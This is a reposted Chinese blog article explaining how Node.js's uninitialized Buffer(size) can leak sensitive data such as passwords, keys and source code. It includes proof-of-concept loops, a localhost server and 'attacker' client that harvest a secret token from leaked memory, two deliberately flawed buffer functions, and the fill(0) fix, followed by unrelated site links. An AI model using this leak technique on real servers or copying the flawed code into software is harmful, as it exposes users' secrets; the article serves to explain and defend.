Node.js:Buffer知道一切
来源:互联网 发布:菲亚特500二手知乎 编辑:程序博客网 时间:2024/05/04 20:43
导语
如果你的服务端代码在每一情况下泄漏了未初始化的Buffer对象,那么我们就可以从客户端获取到的Buffer中取出敏感信息。敏感信息可能为HTTP流量、数据库密码、私有证书、源代码或者配置文件信息等。
这不是新发现的漏洞,这是Buffer API本身设计所决定的,Buffer(number)非常类似malloc(),并不是每一个人都会看API文档的,这就造成敏感信息泄露事件。我认为这个API设计并不是很合理,让我们来看看如何解决吧。
原理
Buffer对象不像TypedArrays一样,它是不会在你使用Buffer(size)的时候去清除原内存里的内容,这就可能造成以前存储的数据泄漏。我们在什么情况下会使用Buffer呢,大概是几乎每一个I/O操作,读取一个文件、导入模块、接受网络数据流、传递数据到加密模块。
实验
Hardcoded variable:
var token = 'paSsWord!ASD, totally secret!';for (var step = 0; step < 100000; step++) { var buf = (new Buffer(200)).toString('ascii'); if (buf.indexOf(token) !== -1) { console.log('Found at step ' + step + ': ' + buf); }}
Comment (注意这里输出了源代码):
var token = 'pass' + 'word!ASD';//password!ASDfor (var step = 0; step < 100000; step++) { var buf = (new Buffer(100)).toString('ascii'); if (buf.indexOf(token) !== -1) { console.log('Found at step ' + step + ': ' + buf); }}
Crypto:
var crypto = require('crypto');var token = 'password' + Math.random().toString(32);crypto.pbkdf2(token, 'salt', 1, 2, function(err, result) {} )for (var step = 0; step < 100000; step++) { var buf = (new Buffer(200)).toString('ascii'); var ind = buf.indexOf(token); if (ind !== -1) { console.log('Found at step ' + step + ': ' + buf); }}
http :
server.js:
require('http').createServer(function(req, res) { if (/^\/in\//.test(req.url)) { req.on('data', function (chunk) {}); req.on('end', function() { res.end(); }); return; } if (/^\/out\//.test(req.url)) { var x = new Buffer(1000); res.write(x); res.end(); return; } res.end();}).listen(7777);
client.js:
// Two clients in one:// valid() is the valid client that sends the token.// attacker() makes the server to leak the data and inspects it.var http = require('http');var token = 'MySecretKey';function attacker() { http.request({host: 'localhost', port: 7777, path: '/out/'}, function(res) { res.on('data', function (chunk) { var data = chunk.toString(); data = data.toString('utf-8'); if (data.indexOf(token) !== -1) { console.log('found!'); console.log(data); } }); res.on('end', attacker); }).end();}for (var i = 0; i < 10; i++) { attacker();}function valid() { var req = http.request({host: 'localhost', port: 7777, path: '/in/', method: 'POST'}, function(res) { res.on('data', function() {}); res.on('end', function() { setTimeout(valid, 100); }); }); req.write(token); req.end();}valid();
可以看到写入的token泄漏出来了。
防御
确保你的Buffer有初始化操作。
最简单有效的方法就是填充数据:var buf = new Buffer(size).fill(0)
当然如何你对自己使用内存非常有自信也是不用初始化的,但是要小心为重,比如下面的错误代码
function makeBufferFromData(data) { var buf = new Buffer(data.length * 2); for (var i = 0; i < data.length; i++) { if (data[i] !== 0) { buf[2 * i] = buf[2 * i + 1] = data[i]; } } return buf;}
或者
function makeBufferFromData(data) { var buf = new Buffer(data.length * 2); for (var i = 0; i < data.length; i++) { if (data[i] === 0) { // Abort and return partial content return buf; } buf[2 * i] = buf[2 * i + 1] = data[i]; } return buf;}
0 0
- Node.js:Buffer知道一切
- node.js Buffer模块
- Node.js Buffer使用方法
- Node.js 缓冲区 Buffer
- Node.js Buffer(缓冲区)
- Node.js Buffer学以致用
- Node.js Buffer(缓冲区)
- Node.js Buffer(缓冲区)
- Node.js Buffer(缓冲区)
- Node.js Buffer
- Node.js buffer
- Node.js[3] Buffer
- Node.js缓冲器Buffer
- [Node.js]Buffer
- [Node.js]Buffer
- [Node.js]Buffer
- [Node.js]Buffer
- Node.js Buffer(缓冲区)
- awk
- leetcode:14. Longest Common Prefix
- JAVA中this和super的比较
- [区块链]分布式一致性之paxos算法个人见解
- 面向对象设计原则之依赖倒置原则
- Node.js:Buffer知道一切
- mysql 查询 top 1 或 top n 的写法
- Android启动默认是横屏或者竖屏
- 【深入Java虚拟机】之一:Java内存区域与内存溢出
- 变化的相对路径处理
- 欢迎使用CSDN-markdown编辑器
- 好雨云帮开发者大赛 「第一期」:ThinkPHP5
- JAVA——反射(Reflect)
- UITextView: 响应键盘的 return 事件